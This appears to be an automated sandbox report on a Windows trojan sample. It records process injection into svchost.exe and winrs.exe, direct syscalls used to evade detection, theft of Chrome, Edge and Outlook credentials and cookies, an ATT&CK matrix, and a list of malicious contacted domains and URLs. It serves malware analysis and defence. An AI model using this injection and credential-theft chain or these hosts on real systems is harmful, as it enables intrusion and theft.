Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F36EE0 mov eax, dword ptr fs:[00000030h]	8_2_02F36EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F36EE0 mov eax, dword ptr fs:[00000030h]	8_2_02F36EE0

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0092A66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_0092A66C

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00918189 SetUnhandledExceptionFilter,		0_2_00918189
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009181AC SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_009181AC

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtOpenKeyEx: Direct from: 0x77672B9C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtProtectVirtualMemory: Direct from: 0x77672F9C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtCreateFile: Direct from: 0x77672FEC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtOpenFile: Direct from: 0x77672DCC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtTerminateThread: Direct from: 0x77672FCC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtProtectVirtualMemory: Direct from: 0x77667B2E	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtQueryInformationToken: Direct from: 0x77672CAC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtAllocateVirtualMemory: Direct from: 0x77672BEC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtDeviceIoControlFile: Direct from: 0x77672AEC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtQuerySystemInformation: Direct from: 0x776748CC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtQueryAttributesFile: Direct from: 0x77672E6C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtSetInformationThread: Direct from: 0x77672B4C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtOpenSection: Direct from: 0x77672E0C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtQueryVolumeInformationFile: Direct from: 0x77672F2C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtSetInformationThread: Direct from: 0x776663F9	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtAllocateVirtualMemory: Direct from: 0x776748EC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtCreateKey: Direct from: 0x77672C6C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtReadVirtualMemory: Direct from: 0x77672E8C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtClose: Direct from: 0x77672B6C
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtWriteVirtualMemory: Direct from: 0x7767490C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtAllocateVirtualMemory: Direct from: 0x77673C9C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtDelayExecution: Direct from: 0x77672DDC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtCreateUserProcess: Direct from: 0x7767371C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtQuerySystemInformation: Direct from: 0x77672DFC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtQueryInformationProcess: Direct from: 0x77672C26	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtResumeThread: Direct from: 0x77672FBC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtReadFile: Direct from: 0x77672ADC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtAllocateVirtualMemory: Direct from: 0x77672BFC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtResumeThread: Direct from: 0x776736AC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtSetInformationProcess: Direct from: 0x77672C5C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtMapViewOfSection: Direct from: 0x77672D1C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtNotifyChangeKey: Direct from: 0x77673C2C	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtCreateMutant: Direct from: 0x776735CC	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	NtWriteVirtualMemory: Direct from: 0x77672E3C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\A2028041200SD.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\winrs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: NULL target: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: NULL target: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\winrs.exe

Thread register set: target process: 5980

Writes to foreign memory regions

Source: C:\Users\user\Desktop\A2028041200SD.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 23D2008

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0092B106 LogonUserW,

0_2_0092B106

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_008F3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_008F3D19

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0093411C SendInput,keybd_event,

0_2_0093411C

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_009374BB mouse_event,

0_2_009374BB

Source: C:\Users\user\Desktop\A2028041200SD.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\A2028041200SD.exe"	Jump to behavior
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Process created: C:\Windows\SysWOW64\winrs.exe "C:\Windows\SysWOW64\winrs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\A2028041200SD.exe

0_2_0092A66C

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_009371FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_009371FA

Source: A2028041200SD.exe, zJGHFZpQDL.exe, 00000009.00000002.3124130451.0000000001431000.00000002.00000001.00040000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000000.1311242597.0000000001430000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: zJGHFZpQDL.exe, 00000009.00000002.3124130451.0000000001431000.00000002.00000001.00040000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000000.1311242597.0000000001430000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: zJGHFZpQDL.exe, 00000009.00000002.3124130451.0000000001431000.00000002.00000001.00040000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000000.1311242597.0000000001430000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Manager
Source: A2028041200SD.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: zJGHFZpQDL.exe, 00000009.00000002.3124130451.0000000001431000.00000002.00000001.00040000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000000.1311242597.0000000001430000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_009165C4 cpuid

0_2_009165C4

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0094091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

0_2_0094091D

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0096B340 GetUserNameW,

0_2_0096B340

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00921E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00921E8E

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_0090DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0090DDC0

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3124723950.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391788061.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3124795821.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391861547.0000000005400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1390489944.00000000024B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3121706684.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3132931690.0000000008020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3124924415.0000000004A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\winrs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\winrs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: A2028041200SD.exe	Binary or memory string: WIN_81
Source: A2028041200SD.exe	Binary or memory string: WIN_XP
Source: A2028041200SD.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: A2028041200SD.exe	Binary or memory string: WIN_XPe
Source: A2028041200SD.exe	Binary or memory string: WIN_VISTA
Source: A2028041200SD.exe	Binary or memory string: WIN_7
Source: A2028041200SD.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3124723950.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391788061.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3124795821.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391861547.0000000005400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1390489944.00000000024B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3121706684.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3132931690.0000000008020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3124924415.0000000004A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00948C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	0_2_00948C4F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0094923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_0094923B
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009258C5 RpcBindingSetOption,_LocaleUpdate::_LocaleUpdate,_memset,WideCharToMultiByte,GetLastError,_memset,	0_2_009258C5

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
A2028041200SD.exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
A2028041200SD.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.superiorfencing.net/bwyw/	0%	Avira URL Cloud	safe
http://www.maitreyatoys.world/dvmh/	0%	Avira URL Cloud	safe
http://www.orbitoasis.online/k6yn/	0%	Avira URL Cloud	safe
http://www.earbudsstore.shop/0gis/	0%	Avira URL Cloud	safe
http://www.beylikduzu616161.xyz/2nga/	0%	Avira URL Cloud	safe
http://www.dating-apps-az-dn5.xyz/pn0u/	0%	Avira URL Cloud	safe
http://www.dailyfuns.info/n9b0/	0%	Avira URL Cloud	safe
https://zkdamdjj.shop/vluw/?prh4=Qny9vPKZpQxlYqiHBli6Dgd1W9OHStFoVbvPUumHvVgYiZzoUIcT00lHd/ClJ1QqOMs	0%	Avira URL Cloud	safe
http://www.dating-apps-az-dn5.xyz	0%	Avira URL Cloud	safe
http://www.earbudsstore.shop/0gis?gp=1&js=1&uuid=1732091041.9737598049&other_args=eyJ1cmkiOiAiLzBnaX	0%	Avira URL Cloud	safe
http://www70.earbudsstore.shop/	0%	Avira URL Cloud	safe
http://www.mydreamdeal.click/1ag2/	0%	Avira URL Cloud	safe
http://www.75178.club/a4h7/	0%	Avira URL Cloud	safe
http://www.thaor56.online/cboa/	0%	Avira URL Cloud	safe
http://www.zxyck.net/gxyh/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.mydreamdeal.click	188.114.96.3	true	true	unknown
www.maitreyatoys.world	194.245.148.189	true	true	unknown
www.zxyck.net	118.107.250.103	true	true	unknown
www.dating-apps-az-dn5.xyz	199.59.243.227	true	true	unknown
superiorfencing.net	103.230.159.86	true	true	unknown
thaor56.online	202.92.5.23	true	true	unknown
www.zkdamdjj.shop	188.114.97.3	true	true	unknown
www.earbudsstore.shop	194.195.220.41	true	true	unknown
www.beylikduzu616161.xyz	188.114.97.3	true	true	unknown
www.dailyfuns.info	209.74.77.109	true	true	unknown
gtml.huksa.huhusddfnsuegcdn.com	23.167.152.41	true	false	high
orbitoasis.online	66.29.132.194	true	true	unknown
www.75178.club	unknown	unknown	false	unknown
www.orbitoasis.online	unknown	unknown	false	unknown
www.superiorfencing.net	unknown	unknown	false	unknown
www.thaor56.online	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.beylikduzu616161.xyz/2nga/	true	Avira URL Cloud: safe	unknown
http://www.superiorfencing.net/bwyw/	true	Avira URL Cloud: safe	unknown
http://www.maitreyatoys.world/dvmh/	true	Avira URL Cloud: safe	unknown
http://www.orbitoasis.online/k6yn/	true	Avira URL Cloud: safe	unknown
http://www.earbudsstore.shop/0gis/	true	Avira URL Cloud: safe	unknown
http://www.dailyfuns.info/n9b0/	true	Avira URL Cloud: safe	unknown
http://www.dating-apps-az-dn5.xyz/pn0u/	true	Avira URL Cloud: safe	unknown
http://www.mydreamdeal.click/1ag2/	true	Avira URL Cloud: safe	unknown
http://www.thaor56.online/cboa/	true	Avira URL Cloud: safe	unknown
http://www.75178.club/a4h7/	true	Avira URL Cloud: safe	unknown
http://www.zxyck.net/gxyh/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.earbudsstore.shop/0gis?gp=1&js=1&uuid=1732091041.9737598049&other_args=eyJ1cmkiOiAiLzBnaX	zJGHFZpQDL.exe, 00000009.00000002.3131138704.000000000661C000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.0000000003E5C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://zkdamdjj.shop/vluw/?prh4=Qny9vPKZpQxlYqiHBli6Dgd1W9OHStFoVbvPUumHvVgYiZzoUIcT00lHd/ClJ1QqOMs	zJGHFZpQDL.exe, 00000009.00000002.3131138704.0000000005FD4000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.0000000003814000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000D.00000002.1691083286.0000000037E24000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dating-apps-az-dn5.xyz	zJGHFZpQDL.exe, 00000009.00000002.3132931690.00000000080DE000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	winrs.exe, 0000000A.00000003.1584328647.00000000079A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://joker.com/?pk_campaign=Parking&pk_kwd=text	zJGHFZpQDL.exe, 00000009.00000002.3131138704.0000000006F88000.00000004.80000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125614806.00000000047C8000.00000004.10000000.00040000.00000000.sdmp, winrs.exe, 0000000A.00000002.3127930198.0000000005E00000.00000004.00000800.00020000.00000000.sdmp	false		high
